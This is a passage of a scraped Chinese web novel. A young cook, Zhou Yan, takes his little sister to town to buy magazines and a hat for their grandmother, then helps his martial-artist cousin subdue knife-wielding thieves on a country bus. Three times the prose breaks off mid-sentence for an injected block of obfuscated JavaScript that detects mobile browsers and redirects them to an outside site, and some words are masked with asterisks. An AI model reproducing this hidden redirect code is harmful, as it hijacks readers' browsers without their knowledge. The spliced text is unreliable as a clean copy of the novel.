“行，听你的。”赵嬢嬢若有所思地点头，这些事情她从来都是周砚说啥她信啥。 他们饭店这段时间剩菜数量都很少，剩的那点基本能够做到内部消化，多的就让赵红带回去给各家分一分，都挺高兴的。 “你啥时候有空去趟嘉州不？我听**说，《四川烹饪》杂志买的挺好的，我还想多买两本留着做纪念呢，拿个相框框起来，在饭店门口摆两本当广告不挺好的。”赵嬢嬢看着周砚问道。 “那我现在去一趟吧，刚好下午没事。”周砚上楼换了身衣服，下来周沫沫已经在二八大杠旁边站着，眼巴巴望着他：“锅锅，我也想去城里耍！你带我去好不好？” 小家伙的声音软软的，还凑上来拉他的衣角撒娇，这谁受得了啊。 “好，带你去耍。”周砚笑着点头。 那边老周同志已经拿来了她的专属坐垫，三两下绑到前杠上，生怕宝贝女儿路上受点罪。 赵嬢嬢把一个军绿色的水壶放在了车篮子里，跟周沫沫叮嘱道：“进城不要乱跑哈，牵好你哥哥的手，要是被坏人抓走了，你这辈子都吃不上你锅锅做的菜了。” 周沫沫点着脑袋，听到吃不上锅锅做的菜后，眼睛一下子瞪圆了，连忙伸手抓住周砚的手：“锅锅！你一定要抓紧我哦。” “好，你放心。”周砚笑着点头。 “记得给她喝水，不要给她买零食，晚上又吃不下饭。”赵铁英又跟周砚叮嘱道。 “要得。”周砚点头，弯腰把周沫沫拎到老周同志给她绑好的坐垫上，推着自行车出门。 周沫沫一出门，立马叽叽喳喳说个不停： “锅锅，你看那条船好大哦！” “锅锅，你看那摩托车突突突的，好好笑哦。” “锅锅，我好喜欢你带我去耍哦，可以买棒冰吃吗？” 周砚冷漠拒绝：“不可以。” 小家伙的把戏还不少呢，这还没出苏稽呢，就惦记上棒冰了。 她早晚都穿上小花袄了，还惦记着棒冰呢。 “唉。”周沫沫叹了口气，幽幽道：“虽然锅锅有点小气，但我还是原谅你了。” “那我是不是应该说对不起啊？”周砚忍着笑问道。 “没关系。”小家伙把脑袋一偏，像个小软糖一样轻轻靠在他的胳膊上，“因为我爱你吖。” “买！买一百根！”周砚心尖一颤，差点失去理智。 小家伙太可爱，太治愈了。 这谁顶得住啊！ 别说棒冰了，月亮都想给她摘下来。 “棒冰不能吃，等会进城给你买个小玩具啊。”周砚温声说道。 “我不要礼物，我想给奶奶买一顶帽子好不好？”周沫沫回头看着周砚，“一定漂亮的帽子。” “为什么想到要给奶奶买帽子啊？”周砚有些意外地看着她。 小家伙看着她表情认真道：“奶奶的帽子补了好多好多回都舍不得丢呢，我想给她买一个漂亮的帽子，这样冬天她就有一顶漂亮的新帽子，耳朵也不会冷了吖。” 周砚看着小家伙脸上的期待之色，笑着点头：“好，那一会你给奶奶选。” “嗯嗯。”周沫沫点着脑袋，脸上露出了开心的笑容。 还是小家伙更贴心，像小棉袄，难怪全家都爱她。 去看老太太的时候，他总想着给老太太带瓶酒，带点下酒的卤肉、卤猪蹄。 挣了钱也没想到要给老太太买点穿的、用的东西，还不如周沫沫呢。 小家伙可是拿自己的玩具去给老太太换帽子。 周砚骑得不快，一路避着大坑小坑，让小家伙能坐得舒服些。 到了嘉州，直奔报刊。 一连转了四家报刊，才凑够五本《四川烹饪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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嬢嬢介绍确实一点不掺假，帽子做工特别扎实，自己拿毛线针是织不出来的，款式也好看。 老太太这帽子一戴，在村里绝对是最时髦的老太太。 “那就给奶奶买这个？”周砚笑问道。 “嗯嗯，买这个！”周沫沫点头。 “嬢嬢，这帽子多少钱？”周砚笑着开口问道。 “这帽子加了绒的，要八块二一顶。”售货员道。 “好贵哦！”周沫沫惊叹，看了看手里的帽子，又看了看周砚，小表情有点纠结。 “行，就要这顶了。”周砚笑着说道。 这年代工业品是最贵的，因为很多商品尚不能大规模生产，物以稀为贵。 而后来蔬菜水果大规模种植，种花家化身工业克苏鲁后，乡下没施肥的绿色蔬菜，没喂饲料的生态土鸡、土猪，还有各种非遗传承手工制品因为稀有，价格又变得昂贵起来了。 非常有趣的循环。 “真的吗？”周沫沫先有些不确定地问道。 “当然，好看又暖和，还是沫沫选的，奶奶肯定喜欢。”周砚笑着点头，销冠不是白当的，小小年纪已经懂贵不贵了。 “锅锅，你真好！”周沫沫有些感动，“那就是我们一起送给奶奶的，好不好？” “好。”周砚笑着点头。 交了钱，周砚把帽子小心放到包里，牵着周沫沫又去买了五个大小不一的相框。 一个拿来装全家福，一个给周沫沫装画送给段语嫣，还有两个是拿来框杂志的。 封面一个相框，专访那两页单**下来，也用相框框上，放饭店门口展示一段时间，以后挂挂墙上当装饰品。 《四川烹饪》杂志站台背书，物尽其用！ 反正周砚是不会不好意思的，跷脚牛肉的故事有了专业杂志的背书，立马显得有公信力起来。 还有一个周砚留着，下回夏瑶要是再寄画来，也能直接裱起来。 路过玩具区，周砚笑着问道：“要不要买玩具？” “不要，我已经给奶奶买了帽儿了。”周沫沫摇头，眼睛都没往玩具区看一眼，目光坚定地像是要入党。 从百货公司出来，周砚把相框放到背篼里，把周沫沫提溜上车，看着她笑问道：“不要玩具，那有没有想吃的东西？难得进一趟城，我带你去吃了再回去。” “我想吃……豆腐脑！”周沫沫两眼亮晶晶地看着他，非常笃定地说道：“甜的！” “甜的啊……”这个要求不过分，但让周砚有点为难。 毕竟在嘉州想要吃上一份甜豆腐脑，不光要钱，还要一副厚脸皮。 看着小家伙满眼期待的模样，周砚哪能拒绝得了，笑着点头：“走嘛，代你去吃甜豆腐脑。” 二八大杠骑到东大街，一路都是琳琅满目的小吃，路过一个小摊的时候，周沫沫好奇问道：“锅锅，你看那个金黄色的饼饼是啥？鸡蛋饼吗？” 周砚捏了一把刹车，看着一旁小贩手中小锅里金黄色的小饼，笑着道：“这是蛋烘糕。” “蛋烘糕？”周沫沫往前凑了凑，小鼻子嗅了嗅，惊喜道：“香香甜甜的，好香啊~” “小朋友，要不要来一个蛋烘糕？只要两角钱一个哦。”老板是个中年男人，声音温和，笑眯眯道：“味道香香甜甜，口感松松软软，好吃得很。” “要。”周沫沫点着脑袋，伸出两个手指，“要两个。” 说完，她拍着自己背着的小挎包和周砚说道：“锅锅，我请你吃！我有钱。” 周砚听完愣了一下，旋即笑着点头，“要得。” 小家伙这段时间可是挣了不少钱呢，每天卖力吆喝挣提成，一天天积累下来，存款可能都有三四块了。 吃她一个蛋烘糕，不算过分。 老板听完也乐了，把手头的蛋烘糕卷起用油纸一包递给一旁的客人，笑呵呵道：“请客，你还多豪爽呢。” “这是我锅锅，我的就是他的。”周沫沫一脸理所当然地说道，然后回头看着周砚：“锅锅，你的是我的吗？” (本章完) 第184章 少年侠气，莫过于此！（月票1333） “对对对。”周砚笑着点头，这图有点短啊。 小家伙两**的蛋烘糕就要骗他小金库啊。 “要吃甜的还是咸的？”老板笑着问道。 “甜的！” “咸的。” 兄妹俩给出了两个答案。 “锅锅，你不吃甜的吗？”周沫沫回头看着他。 “我要加肉松，吃咸的。”周砚非常笃定的点头。 小家伙要了一个甜的，加果浆和奶油馅的。 现在的蛋烘糕口味还没那么离谱，馅料有限，就四五样可选的。 蛋烘糕后世发展出来的馅料种类之多，花样之离谱，让人有种万物皆可蛋烘糕的错觉。 奶油、果酱、巧克力、奥利奥、牛肉、肉松、豆沙、豇豆、老干妈……只要你敢想，说不定你就能在那一盆盆馅料里发现它。 毕竟连老干妈都能加，还有什么是不可能的？ 离谱程度，甚至超过嘉州门派众多的豆腐脑。 做蛋烘糕，用的是一个巴掌大的平底小铜锅。 掀开搪瓷盆的盖子，里边是调成金黄色的面糊，老板拿起勺子舀了一勺面糊倒入小铜锅，手腕轻转，面糊便在锅里均匀摊开，连锅壁都裹上。 一会功夫，面糊糊就在锅里快速膨胀起来，丝丝缕缕的香甜气息随着热气扑鼻而来，是蛋香与面粉的香气融合在一起。 周沫沫眼巴巴望着，已经不知道吞了多少回口水了。 摊摊上架着两个蜂窝煤炉，可以同时做两个蛋烘糕。 金黄色的面饼膨胀之后，老板开始加料，一边加奶油和果酱，一边加的肉松和奶油，让蛋皮的温度把馅料加热。 用镊子一卷，把馅料裹在一面已经烤的金黄酥脆蛋皮之中，夹起装入提前折好的牛皮纸中，既能隔绝温度不烫手，又刚好露出一角方便吃。 “四角钱，给你。”周沫沫拉开小包，摸出四角钱递给老板。 “要得，你小心拿着吃哈，有点烫哦。”老板笑眯眯地把蛋烘糕递给他，声音都不自觉的夹了起来。 周砚伸手接过他的那个加肉松的蛋烘糕，吹了两口，直接一口咬了下去。 蛋烘糕就得吃烫的，蛋皮的表皮煎的微酥，里边却格外细嫩，一口下去，奶油的香气瞬间铺满口腔，咸香的肉松如同点睛之笔，又香又解腻。 味道还是相当不错的。 【一份相当不错的蛋烘糕】 周砚看了眼鉴定结果，基本符合。 一旁的周沫沫两手捧着蛋烘糕，小口吹着气，像个小松鼠一般小口小口咬着，眼里亮晶晶的，秀气的小眉毛都快飞到天上去了，看得出来，她吃的可开心了。 “蛋烘糕好吃哦！甜甜的，还有股奶香味呢。” 小家伙一口气吃了半个，还不忘点评两句。 小家伙的吃相实在可爱诱人，路人驻足瞧着，都忍不住吞了吞口水，有一对年轻情侣当即就过来点了两个，就连隔壁摊位坐着吃抄手的，都开口喊了一个。 老板喜笑颜开，一边忙着做蛋烘糕，还不忘夸赞道：“这小姑娘太乖了，带财的！” 说着，拿小勺舀了一小把葡萄干用油皮纸装着，笑着递给周沫沫：“来，葡萄干拿着当零食。” 周沫沫没伸手，抬头看向周砚。 “老板当面拿给你的，拿着嘛。”周砚点头。 周沫沫这才开心接过，笑着道：“谢谢老板。” “不谢不谢，下回又来嘛。”老板应道。 “好。”周沫沫把葡萄干揣到口袋里，继续吃蛋烘糕。 周砚带着她去吃了豆腐脑，在甘记峨眉豆腐脑给她点了一份甜口，他自己则是点了一份隔壁的牛华豆腐脑。 甘记豆腐脑的老板表情有些复杂，看着周沫沫把自带的葡萄干撒在豆腐脑上的时候，齐齐转过身去，怕控制不住自己。 能怎么办呢，小家伙长得这么可爱，想吃点甜豆腐脑很合理吧？ 隔壁牛华豆腐脑的老板都快笑疯了。 “谢谢老板，你们家的豆腐脑真好吃吖，我下次还来吃。”周沫沫端起碗，把碗底都舔的干干净净，放下碗，看着老板和老板娘赞叹道。 老板和老板娘的脸上立马露出了笑容，心里那点疙瘩也是全都消失了。 老板娘笑眯眯道：“不客气，乖乖，下回再吃嘛。” 周砚付了钱，把周沫沫提溜到车上，骑车路过邱家老宅的时候放缓了几分速度。 这房子马上就是他的了，等攒够一万块，立马就是城里有房的人。 再看那家卤味店，这会店里也有几位客人，背着包，一看就是游客。 好的口岸就是这样的，能弥补味道上的不足。 周砚琢磨着，等他拿下这房子，第一件事就是等租约到期收回这个铺子，免得这家卤味店把口碑做的稀烂，后面他开饭店后，还得耗费精力去扭转口碑。 用力蹬了一脚踏板，自行车冲了出去，伴着周沫沫哼着的儿歌，出城拐上乡道，往苏稽方向而去。 路上没什么大车，但来往的自行车还是不少的。 一辆班车从周砚身旁晃悠悠开过去，扬起漫天灰尘。 周砚降慢了一些速度，伸手挡住了周沫沫脸。 苏稽和嘉州离得近，又有嘉州纺织厂这样的大厂，经济在嘉州乡镇中名列前茅，耍哥儿数量也是颇多，不少手脚不干净，专在班车上摸钱包，刀片手的臭名远扬。 所以不少人去苏稽，有条件的都自己骑车。 累点就累点，好过被摸了钱包。 派出所也打击过几回，但收效甚微，隔段时间又会冒出来。 周砚记忆里，小周同志也遭过一回，睡梦中口袋被刀片割开，钱包被摸走。 结果睡醒之后，钱包就在他腿上放着的，里边的八毛钱被拿走了，留下一张纸条，写着一行字：那么大个钱包装八角钱，穷鬼！ 红色的感叹号，让十八岁的小周感受到了奇耻大辱。 那种愤怒和憋屈，周砚在回忆里都感受到了。 不是因为衣服被划破。 而是那句话。 实在是太侮辱人了！ 小周同志下车的时候还安慰自己：大抵是我对钱很尊重，没偷，没抢，也没有。 周砚穷过，所以能感同身受。 但也确实想笑。 川渝连贼都是阴阳师，魔法水平确实领先全国，家里普遍都有一件随时被召唤的魔法披风。 周砚不紧不慢的骑着车往前，看到刚刚过去的那辆班车停在路边，正在以一种不同寻常的幅度左右摇晃着。 当然……不要想歪，一般那种事不至于让核载三十六，实载六十三的班车这样摆动。 而且这里毕竟不是三哥那，光天化日没那么离谱。 骑着车的路人们也发现了这辆班车的异常，不由放慢了速度。 车门被打开，一个干瘦青年飞了出来，在地上摔了个狗吃屎，刚哎哟喊了两声准备爬起来，又一个矮胖青年飞了出去，刚好砸在他身上。 然后一个穿着灰色麻布短褂，身材高挑的青年手里拎着一个干瘦青年从车上走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16264452|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了下来，犹如提着一只小鸡仔般从车上下来，看着那俩挣扎着爬起身来，从口袋里掏出折叠刀的青年咧嘴一笑：“偷到我身上来了，还敢动刀？” “锅锅，那个是不是明锅锅？他在抓小偷吗？！”周沫沫眼睛一亮，指着说道。 “还真是！”周砚也是眼睛一亮，从车上下来的青年就是堂哥周明，看样子是在班车上遇到小偷了，还起了冲突。 对方三人，且手里拿刀，虽然知道周明从小习武，周砚也不敢干看着，把自行车往路边停下，把周沫沫从拎下来放在一旁，叮嘱道：“站在这里不许动！” “嗯嗯！”周沫沫点着脑袋，眼里没有一丝害怕，只有对抓小偷的兴奋。 周砚目光一扫，瞧见路边人家门口靠着的一根等人高的木棍，连忙上前操起，握着刚好合适，入手还有点沉。 手里有了趁手的武器，心头立马不慌了。 周砚持棍冲了过去，周明还在和那两个握着**的小偷对峙。 突然，一道黑影从车上窜了下来，手里还泛着一抹寒光，直刺周明的后背。 围观的人和车上立马响起了一阵惊呼声。 “明哥！后边！”周砚连忙惊声叫道。 周明闻声后侧半步，手臂一抬格挡住那直刺而来的**。 锋利的**划开了他的衣袖，鲜血立马涌了出来。 另外俩小偷见此也是大叫着冲上来，试图趁机给他来两刀。 “操！”周砚不会武功，但身体素质和爆发力都不错，三步并作两步冲上前，一棍砸在那瘦高个的背上，一下子就把他给砸倒在地，疼得他满地乱滚。 胳膊上挨了一刀，丝毫没影响周明的战力，脸上的笑容消失了，眼中多了一丝狠劲。 连着避开两刀直刺而来的**，周明一个劈掌打掉了对方的**，然后一拳打在那人的腹部，直接把他打飞砸在了班车上。 偷袭那人嘭的一声，滑跪在地上，捂着肚子哀嚎不断。 “明哥！接棍！”周砚把棍子丢了过去。 周明一把接住长棍，随手舞了个棍花，然后朝着那拿着**的矮胖青年冲了过去。 **！ 三棍。 一棍砸手上，小臂直接变形了，**飞出，扎在远处的土里。 一棍砸腿，是骨头断裂的脆响，对方直接跪在了地上。 最后一棍砸在肩上，惨叫声刚发出，直接面朝下扑街晕了过去。 被他拎下车的那个爬起来准备跑，被他甩手一棍打在屁股上，疼得满地翻滚哀嚎，一棍砸在腿上，让他失去行动力。 周砚看得一愣一愣的，被刺伤之后，明哥出手可太狠了。 周明把长棍往地上一杵，看着周砚笑道：“小砚，好样的！” 周砚看着他，他左手还在滴血，却未皱半分眉，面上笑容爽朗英气。 他脑海中不觉跳出一句话：少年恃险若平地，独倚长剑凌清秋。 少年侠客，莫过于此！ 转眼之间，四个持刀小偷皆被制服。 围观的路人和班车上的乘客皆发出了欢呼和喝彩声。 “锅锅！明锅锅！好厉害！”周沫沫奶声奶气的喝彩声，带着几分骄傲，尤为响亮。 —— PS：加更求月票！ 说了加更，半夜两点也要写完加上！ 月底了，求月票呀！让小破店再往前冲一冲！明天继续加更！ 求月票呀！拜托了！   (本章完) 第185章 算你厉害！（6k二合一） “沫沫也来了啊？”周明听到声音，立马左右看了起来。 周沫沫已经屁颠颠跑过来了，小脸上满是得意地跟围观的人们介绍着：“这是我锅锅，我的锅锅。” 周砚把先前被他一棒砸倒的瘪三按住，他下手还是轻了点，这家伙缓过劲来，在地上爬行着准备跑路呢，看着满脸得意的周沫沫忍不住笑了。 小家伙还真是个显眼包。 “沫沫。”周明把受伤的那只手别到身后，笑呵呵地看着周沫沫，眼里全是宠溺之色， “明明锅。”周沫沫跑过来，满眼关切的往他藏在身后的手看：“你的手手还好吗？我刚刚看到流血了！要快快包扎哦。” “没得事，小问题。”周明笑得眼睛都看不见了。 小家伙松了口气，拍着小手，两眼放光地看着周明说道：“明明锅，你刚刚好腻害哦！一拳打飞一个坏蛋！又把另外两个坏蛋打趴下了，这就是武功吗？！我想学！” “真想学？那我教你啊。”周明笑得合不拢嘴，学了十八年的功夫，吃得苦，在这一刻全都不算什么了。 沫沫太会夸了！ 爱听！ 围观的人们脸上也是露出了笑容。 这小姑娘太可爱了，而且好懂事，还知道第一时间关心哥哥。 周砚正准备问周明要不要包扎一下，被他按在地上的小偷拍着地面语气艰难道：“朋友，打架归打架，空气给一下……” 周砚连忙把腿往旁边移了点。 小偷大口呼着气，脸都是青紫色的，差点没给憋死。 “哥们，帮我们去报个警，就说有一伙**劫车，现在已经被周明和周砚制服，请求支援。”周明和一旁看热闹的青年说道。 “要得！马上去！”青年应了一声，蹬起自行车跑的飞快。 地上刚刚被砸晕的小偷悠悠醒来，闻言试图辩驳：“我们是小偷，不是**……” “你刚刚不说自己是悍匪吗？人手一把刀，把我都捅出血了，那肯定是**跑不脱了。”周明笑道。 “不当悍匪了，不当了。”青年泪涕横流。 周明三棒干碎悍匪梦。 他的目光看向了一旁的班车，朗声道：“师傅，车别急着开走。一会大家伙都给做个证，你们摸摸身上的钱包还在不在，等警察同志来了，好登记拿回自己的钱。” “哎哟！我拿药的三十块钱不见了！肯定是这些天杀的家伙偷了！” “我的新衣服被割了两个洞洞，这些家伙真是可恶啊！” “我的钱包也没得了！里面有八块六角五分！” 车上很快传来了乘客们愤怒的声音。 这里离苏稽已经很近，很快就有六位骑着车的警察同志赶来。 后边还跟着五六辆二八大杠，来的是背着枪的武装部民兵，带头的独臂青年正是周卫国。 众人全部荷枪实弹。 看到地上躺着哀嚎的四人，表情都有些意外和吃惊。 不是说有劫车的悍匪吗？他们还特意去请武装部协助呢。 被这俩青年全给干翻了？ “就是那地上躺着的四个！被那两位同志给制服了！”带路的青年指证道。 “拷起来！”带队的副所长一挥手，四个小偷立马被拷上。 “疼，疼**！” “别拖了，腿断了……” “同志，我的肋骨好像断了，我是不是快**。” 小偷的惨叫声一个比一个大声。 “周明！周砚！你们怎么样？”周卫国把车停下，上前来关切问道。 他刚接到通知，说发生了班车劫案，有四个持刀**，请求协助，立马带人赶来。 “小叔，我没事，明哥手受伤了。”周砚上前来说道。 “小叔，我也没事，小伤。”周明笑道，抬起被血染红的左手，“包扎一下就行，现在这天气也不容易发炎。” 周卫国抓着他的手打量了一下，伤口有半尺长，不过好在伤得不深，鲜血淋漓看着吓人，但问题不大。 他是从尸山血海里爬出来的人，伤得严不严重一眼就清楚。 不过在班车上持刀**，并且伤了人，这性质可就相当恶劣了。 周卫国面色一冷，沉声道：“林所长，这几个悍匪持刀**伤人，情节恶劣。” “周部长您放心，我们把他们带回去好好审查，一定让他们认罪伏法。”林副所长点头道他，看着周明和周砚，“两位小同志见义勇为，勇气可嘉，先去卫生所包扎伤口，然后再去所里做个笔录。” “好。”周明点头，又道：“所长同志，这些悍匪身上都有**，而且出手相当狠戾，刀刀冲着要害去的，一般小偷不会这样，可以查一下他们身上有没有别的案子。车上不少人被他们偷了钱，还有……” 周明上前一步，小声说了两句。 林所长脸色凝重，点头道：“要得，你反应的情况，我们回去之后会好好调查！” 被拷上的小偷们脸色大变，面如死灰。 四个**，三个骨折，只能抬上班车，连同班车上的受害者一起拉回派出所。 “小叔！”周沫沫这才开口冲着周卫国喊道。 “沫沫怎么也在啊？”周卫国笑着把她抱了起来，看着周砚问道：“怎么回事？你们俩怎么在这里见义勇为抓起小偷了。” “我和沫沫去城里买东西，路过看到班车停在路边，车门一开，明哥就把他们一个个踹下来了，我看他们拿着刀，怕明哥吃亏，我就去拿了根棍子过来帮忙，杰哥一人干翻三个，不愧是全国武术冠军。”周砚把情况简单说了一下。 “是峨眉拳的全国冠军。”周明纠正道。 “都一样嘛，反正都是冠军。”周砚笑道。 “这些家伙可恶的很，偷老人的钱就算了，还**妇女，我看不惯就出手制止，没想到同伙那么多。”周明笑着说道：“周砚立了大功的，要不是他提醒，又给我递棍子，今天这伤肯定不止这点。” “你们都是好样的，有血性，不愧是我周家的儿郎。”周卫国看着俩人点头道，“走，先回去包扎伤口，然后配合派出所的同志办案。等案子办好，我会给你们申请见义勇为的表彰。” “要得。”周砚和周明笑着点头。 “明哥，你坐我车嘛，我带你去卫生所。”周砚跑去把车推过来，载上周明和周沫沫，回到苏稽，先去卫生所给伤口消毒包扎，把周沫沫送回饭店，然后直奔派出所。 门卫了解情况后，把二人带了进去。 周砚看了眼手表，和做笔录的**说道：“同志，我是饭店的厨师，赶着回去做菜，能不能给我先做笔录。” “没问题，你先来。”同志笑着点头，对于见义勇为的三好青年，他们自然优先照顾。 周砚的笔录比较简单，他本来就是半道横插一脚的助攻角色，班车上发生什么他并不清楚，也未参与，十几分钟就把笔录做完了。 “明哥，等会做好笔录就转到我店里来吃晚饭，咱们先小聚一下。”周砚和周明说道。 “要得，你先回去做菜嘛。”周明笑着点头。 周砚骑着车回到饭店的时候，周沫沫正在门口绘声绘色地和赵嬢嬢、老周同志他们讲着他们二人是如何制服坏蛋，把他们打的嗷嗷叫。 “喔唷，我们的大英雄周砚同志回来了啊。”赵嬢嬢起身上前，围着周砚转了一圈，关切问道：“伤到没有？” “我没有受伤，我就是去给明哥递棍子的。”周砚笑着道：“不愧是全国冠军，一棒一个，打的坏蛋嗷嗷叫。” 赵嬢嬢闻言松了口气，伸手拍了一下他的手臂：“下回看到人家拿刀跑远点！莫要逞英雄！周明是会武功的，你是拿菜刀的，不一样。” “晓得啦，今天要不是看到明哥，我肯定带着周沫沫有多远跑多远。”周砚深以为然的点头，态度相当诚挚。 他向来是惜命的人，今天会下场确实是因为周明，他不可能眼看着手足兄弟赤手空拳被人拿刀**啊。 “锅锅是英雄！是好人！”周沫沫跑过来拦在周砚身前，看着赵嬢嬢道：“妈妈，你要尊重他！” 众人闻言都乐了。 赵嬢嬢也笑了，看着周沫沫道：“你是不是也想动手了？” 周沫沫点着脑袋，捏着小拳头道：“我要学武功！我要当警察嬢嬢抓坏蛋！” “干的好！”老周同志上前来，伸手拍了拍周砚的大臂，满眼欣慰。 周砚嘴角上扬，露出一个男人都懂的笑容。 老周家老宅的两块牌匾不是白挂的，周家儿郎个个都是有血性的人。 碰上这种事要是躲了，那才是丢人的。 “周明受了伤，这事要不要通知三哥和三嫂呢？”赵嬢嬢看着老周同志问道。 老周同志摇头道：“不用，这点小伤让周明自己回去说，免得他们心急火燎地跑到镇上，不晓得在派出所门外等多久，越等越心慌。” “刚刚明哥才跟我叮嘱这事，也是这样说的。”周砚点头，这大概就是周家男人的默契，“我喊他做完笔录来店里吃晚饭。” “那我是不是可以跟着明明锅学武术呢？”周沫沫凑过来，满眼期待地问道。 “那要看他收不收你噻。”周砚笑道，从包里拿出四本杂志递给赵嬢嬢，“买了四本。” “你留一本寄给夏瑶。”赵嬢嬢拿了一本递给他。 周砚：“我留了一本了……” “要得，不完全是根木头。”赵嬢嬢笑吟吟道。 “锅锅，给奶奶买的帽儿呢？给妈妈看看。”周沫沫轻轻扯了扯周砚的包。 “还给你们奶奶买帽儿了？”赵嬢嬢有些意外。 “沫沫说奶奶的帽子破了，想给她买一顶新帽儿冬天戴，这样就不会冷了。她倒是比我想的周到，只晓得买酒。”周砚笑着从包里拿出那顶紫色帽子。 “还是顶礼帽呢，好看！这针法真不错，应该是机器织的吧？”赵嬢嬢拿过帽子，连连点头道。 “紫色看着好舒服，款式也好看！”赵红同样点头道。 “帽子是我选的，里面还有兔兔毛哦。”周沫沫献宝一样指着帽子里边说道。 赵嬢嬢伸手一摸，眼睛顿时亮了起来，把帽子翻转，里边确实加了一层毛茸茸的兔毛，惊叹道：“加绒的哦！这兔毛摸起来还多顺滑舒服的！冬天戴起肯定暖和得很。” “周砚，这帽子不便宜吧？”赵红看着周砚问道。 赵嬢嬢也是看向了他。 “说是机器织的，又加了兔绒，冬天能防风，八块二一顶。”周砚应道。 “八块二！”俩人都惊了一下。 “好贵哦！”赵红惊叹道：“卖成毛线，可以打十几顶帽子了。” 赵嬢嬢却笑着道：“自己打的没这么安逸，回头给你们奶奶送去嘛，莫说是你，我都没想起来给她买个帽儿或者衣服，倒是幺女想的到奶奶。” “要得。”周砚点头，推着车进门。 周沫沫跟着跑进门来，拉开小钱袋，从里边拿出一叠用皮筋捆好的角角钱举起递向周砚，“锅锅，给你！” “给我钱爪子？”周砚看着她。 “这里有四块一角钱，我让爸爸帮我数了！”周沫沫一脸认真道：“帽儿是我们一起买了送给奶奶的，所以我要出一半的钱钱。” “你把账都算明白了啊？”周砚有些哭笑不得，没想到小家伙来真的。 “难怪她回来就问我八块二的一半是好多，还让我帮她数了四块一出来。”老周同志进门来，笑着说道。 “拿到！”周沫沫把钱往前递了递，态度坚决。 “要得，那我就收着了。”周砚笑着接过，“这帽儿就是我们两个搭伙送给奶奶的。” 这厚厚一叠角角钱和分分钱，可都是小家伙这段时间干日结销售，一点点攒起来的。 周砚本以为她攒钱是为了买玩具，没想到给老太太买帽子，就舍得全部拿出来。 周明做完笔录就来了饭店，周砚刚把晚上营业的菜备好，出来就看到周沫沫正抱着周明大腿撒娇：“明明锅，你教我武功嘛！我想学！” “来嘛，我们今天先学扎马步。”周明乐呵呵道，立马就把小家伙的姿势摆上了，“对，就这样蹲着。” 小家伙刚蹲一会，两条腿就开始打颤了。 不过她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16264453|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还挺倔的，咬着牙硬撑着，然后一屁股墩坐在了地上。 惹得一众大人纷纷笑了。 周沫沫也跟着傻乐，撑着地就想爬起来，应该是腿蹲麻了，爬起来又坐了回去，抬头看着龇着大牙笑的周明道：“明明锅，我的腿好像乱糟糟的，好多小蚂蚁在咬我哦，站不起来了呢？” “腿麻是正常的。”周明笑着道，“等你什么时候蹲半个小时都不会麻的时候，马步就算是蹲的不错了。” “腿麻？腿腿又没吃花椒椒，怎么会麻呢？”小家伙看着自己的腿，一脸疑惑。 这个下午，周沫沫第一次知道什么是腿麻。 “明哥，派出所那边怎么说？”周砚问道。 周明说道：“受害人都做了笔录，包括那个被**的妇女，因为涉嫌持刀**和伤人，性质非常恶劣，还会审他们有没有其他罪行，估计会重判。这个团伙是从外地流窜过来的，四个人一锅端了。” “那就好。”周砚点头，如今的形式下重判，多半要牢底坐穿，甚至是吃花生米。 不怕贼偷，就怕贼惦记。 团伙一锅端，倒是没了后顾之忧。 “你是不是故意挨那一刀的？”周砚上前一步，小声问道。 周明看着他意味深长地笑了笑，没有回答，而是说道：“老人和女人都不放过，这群家伙手太脏，杀鸡儆猴，估计很长一段时间来往苏稽的班车上都不会有贼了。” “算你厉害！”周砚给他竖了个大拇指，明哥以身入局，送这群悍匪入局子。 “那你坐会，我去做饭。”他转身进厨房去做晚饭。 “再来！”周沫沫从地上爬起来，又蹲起了马步。 “沫沫好厉害哦，腿不麻吗？”周明笑问道。 “我不麻！”周沫沫摇头，浑然不顾打颤颤的腿。 “四嬢，你们屋头用的啥子牌子的犟油？”周明笑问道。 “没得事，四川女人从小就要强。”赵嬢嬢笑盈盈道，“你看她站的好标准哦。” 周沫沫听完，腰背又挺直了几分，然后一屁股墩坐在了地上。 “现在麻不？”周明问道。 “不麻！我歇会！”周沫沫摇头，眼泪都在眼眶框里打转了，愣是憋住了。 “犟拐拐。”赵嬢嬢笑着摇头。 厨房里，周砚都忍不住探头看了两眼，也是忍不住想笑。 川渝幼龙，可以输，但绝不认怂！ 周砚炒了一份火爆猪肝，一份红烧排骨，还炒了一份回锅肉，卤味不辣，每样切了点，弄了个卤味拼盘，肉一份，素菜一份。 “搞这么多菜？看着就好吃，闻着更香。”周明落座，目光落在了卤肉和卤素菜上，惊讶道：“小砚，你把奶奶的卤味手艺都学来了？” “店里卖了大半个月了，你尝尝有没有学到精髓。”周砚笑着说道。 周明上次回来是周浩结婚的时候，那回婚宴上的卤味，周砚是在老太太的指点下完成的，没做卤素菜。 